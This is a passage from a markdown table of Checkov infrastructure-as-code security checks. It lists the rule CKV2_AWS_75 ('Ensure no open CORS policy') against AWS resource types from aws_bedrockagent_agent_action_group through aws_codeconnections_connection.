[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 357 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_action_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 358 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 359 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_collaborator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 360 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_knowledge_base_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 361 | CKV2_AWS_75 | resource | aws_bedrockagent_data_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 362 | CKV2_AWS_75 | resource | aws_bedrockagent_knowledge_base | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 363 | CKV2_AWS_75 | resource | aws_budgets_budget | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 364 | CKV2_AWS_75 | resource | aws_budgets_budget_action | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 365 | CKV2_AWS_75 | resource | aws_caller_info | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 366 | CKV2_AWS_75 | resource | aws_ce_anomaly_monitor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 367 | CKV2_AWS_75 | resource | aws_ce_anomaly_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 368 | CKV2_AWS_75 | resource | aws_ce_cost_allocation_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 369 | CKV2_AWS_75 | resource | aws_ce_cost_category | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 370 | CKV2_AWS_75 | resource | aws_chatbot_slack_channel_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 371 | CKV2_AWS_75 | resource | aws_chatbot_teams_channel_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 372 | CKV2_AWS_75 | resource | aws_chime_voice_connector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 373 | CKV2_AWS_75 | resource | aws_chime_voice_connector_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 374 | CKV2_AWS_75 | resource | aws_chime_voice_connector_logging | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 375 | CKV2_AWS_75 | resource | aws_chime_voice_connector_origination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 376 | CKV2_AWS_75 | resource | aws_chime_voice_connector_streaming | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 377 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 378 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination_credentials | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 379 | CKV2_AWS_75 | resource | aws_chimesdkmediapipelines_media_insights_pipeline_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 380 | CKV2_AWS_75 | resource | aws_chimesdkvoice_global_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 381 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_media_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 382 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 383 | CKV2_AWS_75 | resource | aws_chimesdkvoice_voice_profile_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 384 | CKV2_AWS_75 | resource | aws_cleanrooms_collaboration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 385 | CKV2_AWS_75 | resource | aws_cleanrooms_configured_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 386 | CKV2_AWS_75 | resource | aws_cleanrooms_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 387 | CKV2_AWS_75 | resource | aws_cloud9_environment_ec2 | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 388 | CKV2_AWS_75 | resource | aws_cloud9_environment_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 389 | CKV2_AWS_75 | resource | aws_cloudcontrolapi_resource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 390 | CKV2_AWS_75 | resource | aws_cloudformation_stack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 391 | CKV2_AWS_75 | resource | aws_cloudformation_stack_instances | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 392 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 393 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 394 | CKV2_AWS_75 | resource | aws_cloudformation_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 395 | CKV2_AWS_75 | resource | aws_cloudfront_cache_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 396 | CKV2_AWS_75 | resource | aws_cloudfront_continuous_deployment_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 397 | CKV2_AWS_75 | resource | aws_cloudfront_distribution | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 398 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 399 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 400 | CKV2_AWS_75 | resource | aws_cloudfront_function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 401 | CKV2_AWS_75 | resource | aws_cloudfront_key_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 402 | CKV2_AWS_75 | resource | aws_cloudfront_key_value_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 403 | CKV2_AWS_75 | resource | aws_cloudfront_monitoring_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 404 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 405 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_identity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 406 | CKV2_AWS_75 | resource | aws_cloudfront_origin_request_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 407 | CKV2_AWS_75 | resource | aws_cloudfront_public_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 408 | CKV2_AWS_75 | resource | aws_cloudfront_realtime_log_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 409 | CKV2_AWS_75 | resource | aws_cloudfront_response_headers_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 410 | CKV2_AWS_75 | resource | aws_cloudfront_vpc_origin | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 411 | CKV2_AWS_75 | resource | aws_cloudfrontkeyvaluestore_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 412 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 413 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_hsm | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 414 | CKV2_AWS_75 | resource | aws_cloudsearch_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 415 | CKV2_AWS_75 | resource | aws_cloudsearch_domain_service_access_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 416 | CKV2_AWS_75 | resource | aws_cloudtrail | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 417 | CKV2_AWS_75 | resource | aws_cloudtrail_event_data_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 418 | CKV2_AWS_75 | resource | aws_cloudtrail_organization_delegated_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 419 | CKV2_AWS_75 | resource | aws_cloudwatch_composite_alarm | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 420 | CKV2_AWS_75 | resource | aws_cloudwatch_dashboard | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 421 | CKV2_AWS_75 | resource | aws_cloudwatch_event_api_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 422 | CKV2_AWS_75 | resource | aws_cloudwatch_event_archive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 423 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 424 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 425 | CKV2_AWS_75 | resource | aws_cloudwatch_event_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 426 | CKV2_AWS_75 | resource | aws_cloudwatch_event_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 427 | CKV2_AWS_75 | resource | aws_cloudwatch_event_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 428 | CKV2_AWS_75 | resource | aws_cloudwatch_event_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 429 | CKV2_AWS_75 | resource | aws_cloudwatch_event_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 430 | CKV2_AWS_75 | resource | aws_cloudwatch_log_account_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 431 | CKV2_AWS_75 | resource | aws_cloudwatch_log_anomaly_detector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 432 | CKV2_AWS_75 | resource | aws_cloudwatch_log_data_protection_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 433 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 434 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 435 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 436 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 437 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 438 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 439 | CKV2_AWS_75 | resource | aws_cloudwatch_log_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 440 | CKV2_AWS_75 | resource | aws_cloudwatch_log_index_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 441 | CKV2_AWS_75 | resource | aws_cloudwatch_log_metric_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 442 | CKV2_AWS_75 | resource | aws_cloudwatch_log_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 443 | CKV2_AWS_75 | resource | aws_cloudwatch_log_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 444 | CKV2_AWS_75 | resource | aws_cloudwatch_log_subscription_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 445 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_alarm | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 446 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 447 | CKV2_AWS_75 | resource | aws_cloudwatch_query_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 448 | CKV2_AWS_75 | resource | aws_codeartifact_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 449 | CKV2_AWS_75 | resource | aws_codeartifact_domain_permissions_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 450 | CKV2_AWS_75 | resource | aws_codeartifact_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 451 | CKV2_AWS_75 | resource | aws_codeartifact_repository_permissions_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 452 | CKV2_AWS_75 | resource | aws_codebuild_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 453 | CKV2_AWS_75 | resource | aws_codebuild_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 454 | CKV2_AWS_75 | resource | aws_codebuild_report_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 455 | CKV2_AWS_75 | resource | aws_codebuild_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 456 | CKV2_AWS_75 | resource | aws_codebuild_source_credential | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 457 | CKV2_AWS_75 | resource | aws_codebuild_webhook | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 458 | CKV2_AWS_75 | resource | aws_codecatalyst_dev_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 459 | CKV2_AWS_75 | resource | aws_codecatalyst_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 460 | CKV2_AWS_75 | resource | aws_codecatalyst_source_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 461 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 462 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 463 | CKV2_AWS_75 | resource | aws_codecommit_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 464 | CKV2_AWS_75 | resource | aws_codecommit_trigger | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 465 | CKV2_AWS_75 | resource | aws_codeconnections_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 466 | 